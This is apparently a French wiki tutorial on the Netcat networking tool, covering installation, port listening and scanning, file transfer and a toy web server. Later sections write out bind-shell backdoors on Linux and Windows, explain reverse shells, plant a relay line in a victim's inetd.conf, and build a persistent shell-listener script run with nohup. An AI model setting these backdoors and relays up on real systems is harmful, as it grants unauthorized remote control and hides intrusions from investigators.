From Aldeid
Contents
|
Netcat
Description
Netcat, souvent nommé le « couteau suisse TCP/IP » permet de créer des sockets, c'est-à-dire d’établir des connexions réseaux TCP ou UDP.
Installation
Windows
Exécutable Netcat
http://www.hackosis.com/wp-content/uploads/2008/01/nc.zip
Installation via Cygwin
- Sélection du package Cygwin Netcat 1.10-2
- Ou installation à partir des sources :
# wget ftp://heanet.dl.sourceforge.net/n/ne/netcat/netcat-0.7.1.tar.gz # tar zvxf netcat-0.7.1.tar.gz # ./compile # make # make install
Sous Debian
# apt-get install netcat
Utilisation
Ecoute sur un port
A partir d’un client, l’établissement d’une connexion vers un serveur (host) sur un port spécifique (port) se fait simplement :
# nc <hostname> <port>
Sur le serveur, pour écouter sur un port spécifique :
# nc –l –p <port>
Par exemple, dans un premier terminal, entrez la commande suivante (écoute sur le port 23) :
# nc –l –p 23
Dans un second terminal, entrez la commande
# nc 127.0.0.1 23
Puis entrez du texte. Celui-ci apparaît dans le premier terminal.
Option « detach »
Sous Windows, l’option –d permet de détacher netcat, c'est-à-dire de l’ajouter dans la liste des services actifs. Par exemple, la commande suivante, lancée sur un client Windows, permet d’ajouter un service d’écoute sur le port 1234 :
$ nc -d –L –e cmd.exe –p 1234
Il ne suffira alors, à partir du serveur, que de la ligne de commande suivante pour accéder au client :
$ netcat 192.168.182.1 10001 Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\cygwin\home\a011830>
Création d'un backdoor rudimentaire
Shell
L'option -e permet de lancer des commandes via netcat. Il est ainsi aisé de créer un backdoor rudimentaire, comme le montre l'exemple qui suit.
Sur le client (victime), entrer la commande suivante :
$ nc -l -p 1234 -e /bin/sh
A partir du poste de l'attaquant, entrer la commande suivante (en adaptant l'adresse IP) :
$ nc 12.34.567.89 1234
A partir du poste de l'attaquant, il est maintenant possible d'exécuter toutes les commandes souhaitées, comme si l'on se trouvait physiquement sur la machine distante.
cd / ls bin boot cdrom dev etc home ... <^C>
Reverse-shell
|
Lorsqu'un système de filtrage bloque les connexions de l'extérieur, il est possible de créer un reverse-shell. Cette technique peut être mise en place grâce à Netcat.
Avec la technique du reverse-shell, ce n'est pas l'attaquant qui se connecte à la victime, mais l'inverse. Grâce à l'option -e qui permet d'exécuter des commandes, l'attaquant peut, à partir de son terminal, exécuter des commandes distantes à partir de son poste. |
Port Scanning
Netcat propose une option de port scanning comme le montrent les résultats suivants :
$ nc -v -w 2 -z 127.0.0.1 1-200 DNS fwd/rev mismatch: localhost != xpsp2-20cc7397e localhost [127.0.0.1] 135 (epmap) open localhost [127.0.0.1] 110 (pop3) open localhost [127.0.0.1] 25 (smtp) open
$ echo QUIT | nc -v -w 3 12.345.67.89 1-100 localhost [127.0.0.1] 80 (www) open <b>Welcome to Apache 2.2</b> localhost [127.0.0.1] 25 (smtp) open localhost [127.0.0.1] 22 (ssh) open SSH-2.0-OpenSSH_5.1p1 Debian-5 Protocol mismatch.
Transfert de fichier
L’utilisation du pipe et des redirections permet d’étendre les fonctionnalités de Netcat, comme le montrent les exemples qui suivent.
- Dans un premier terminal, entrez :
$ nc –l –p 1234 > output.txt
- Dans un second terminal (le fichier input.txt est supposé exister à la racine du répertoire à partir duquel la ligne de commande est lancée) :
$ cat input.txt | nc 127.0.0.1 1234 –w 10
ou
$ nc 127.0.0.1 1234 -w 10 < input.txt
Dans l’exemple ci-dessus, la commande lancée dans le premier terminal permet d’écouter sur le port 1234 et de rediriger tout ce qui est reçu vers le fichier output.txt. La commande du second terminal permet d’afficher le contenu du fichier (cat input.txt), intercepté par netcat (par l’utilisation du pipe) qui l’envoie à l’hôte 127.0.0.1 sur le port 1234. Le paramètre –w 10 permet de terminer automatiquement la connexion à la fin de l’opération (après un délai de 10 secondes).
Transfert de répertoire
Un autre exemple pourrait consister à copier un répertoire complet en le compressant (opérations de compression/décompression intermédiaire assurée par la fonction tar).
Dans un premier terminal :
$ nc -l -p 1234 | tar xvfpz –
Dans un second terminal :
$ tar cvzfp - directory | nc -w 3 127.0.0.1 1234
Le premier terminal écoute sur le port 1234. Grâce au caractère pipe, tout ce qui arrivera sur cette connexion sera intercepté par la fonction tar qui décompressera (option xvfpz) le contenu reçu dans le répertoire courant.
Le second terminal compresse le répertoire directory et le transmet à Netcat qui établit une connexion à l’hôte local (127.0.0.1) sur le port 1234.
Se connecter à un port
Se connecter à un port ouvert permet de converser avec le service qui écoute sur ce port. Par exemple, les commandes suivantes permettent de se connecter au port 80/tcp d'un serveur Web distant, et de requêter l'URL http://12.34.567.89/admin
$ nc 12.34.567.89 80 GET /admin <ENTER>
Fournissent le résultat suivant :
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Authorization Required</title> </head><body> <h1>Authorization Required</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> </body></html>
Simuler un service : Serveur Web rudimentaire
L’exemple suivant montre comment utiliser netcat pour faire un serveur Web rudimentaire.
Vous avez besoin d’un fichier index.html contenant les lignes suivantes :
<html>
<head>
<title>Welcome</title>
</head>
<body>
<h1>Welcome</h1>
<div style=background:#ff0000>Welcome to my web server</div>
</body>
</html>
Dans un terminal, entrez la commande suivante :
$ cat index.html | nc -v -l -p 80 -w 3
Lorsque vous appelez l’adresse http://127.0.0.1 à partir de votre navigateur, vous obtenez le résultat suivant :
Par ailleurs, le terminal affiche la sortie suivante, correspondant à ce qu’a renvoyé le navigateur (ici Firefox). Vous pouvez vous amuser à vous connecter avec Internet Explorer ou d’autres navigateurs afin d’analyser le contenu des en-têtes renvoyés par les différents navigateurs.
listening on [any] 80 ... DNS fwd/rev mismatch: localhost != xpsp2-efc514119 connect to [127.0.0.1] from localhost [127.0.0.1] 3955 GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
Fonction relai
Description
La fonction relai est très utilisée par les pirates. En effet, les avantages sont multiples :
- elle permet d'obscursir l'attaque et ainsi rendre plus complexe le travail d'investigation.
- Certains relais peuvent se trouver dans des pays où la législation ne permet pas aux investigateurs de poursuivre l'analyse.
- Le relai peut être mis en place par un attaquant afin de passer des sytèmes de filtrage (par exemple, installer un relai dans une DMZ afin d'attaquer un hôte du réseau, dans le cas où la connexion directe à la victime est bloquée par un firewall)
Netcat permet de réaliser une telle opération, comme le montre la figure ci-contre.
Relai simple avec inetd
Inetd permet de lancer des services automatiquement au démarrage de l'ordinateur. Chaque ligne doit être formatée avec la syntaxe suivante :
<service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
Un attaquant pourrait se servir d'une attaque sur un hôte distant (relai) afin d'ajouter la ligne suivante dans le fichier /etc/inetd.conf de la victime, automatisant ainsi l'exécution d'un relai Netcat au démarrage de la machine attaquée :
| service_name | sock_type | proto | flags | user | server_path | args |
|---|---|---|---|---|---|---|
| 1234 | stream | tcp | nowait | nobody | /usr/sbin/tcpd | /bin/nc 12.345.67.89 4567 |
Relai simple avec mknod
Mknod permet de créer des fichiers spéciaux de type bloc ou caractère. Le commandes qui suivent, exécutées sur la machine relai, permettent de créer un fichier spécial de type First-In-First-Out (FIFO) et de l'utiliser avec Netcat afin de faire transiter des données.
$ mknod foo p $ nc -l -p 1234 0<foo | nc 12.345.67.89 4567 1>foo
Relai persistent
Les deux relais vus précédemment sont des relais non-persistents. Cela signifie qu'en cas de clôture de la connexion par le pirate (par la commande CTRL+C), le processus du relai est supprimé. Il est possible de créer un relai persistent sous Windows, en utilisant le paramètre -L (L majuscule).
Sous Linux, ce paramètre n'est pas disponible. Néanmoins, il est possible de créer une boucle qui rend le relai persistent :
# while [ 1 ]; do nc -l -p 1234 -e /bin/sh; done
Cette méthode fonctionne, mais elle est liée à la session de l'utilisateur connecté. En cas de déconnexion, le programme s'arrête. Pour créer un véritable relai persistent, le programme doit être exécuté par la commande nohup afin de le rendre indépendant de la session.
Créez par exemple le programme suivant (persistent-relay.sh) :
#!/bin/sh while [ 1 ]; do nc -l -p 1234 -e /bin/sh; done
Rendez ce script consultable et exécutable par la commande
# chmod 555 persistent-relay.sh
Enfin, appelez ce script par la commande :
# nohup ./persistent-relay.sh &













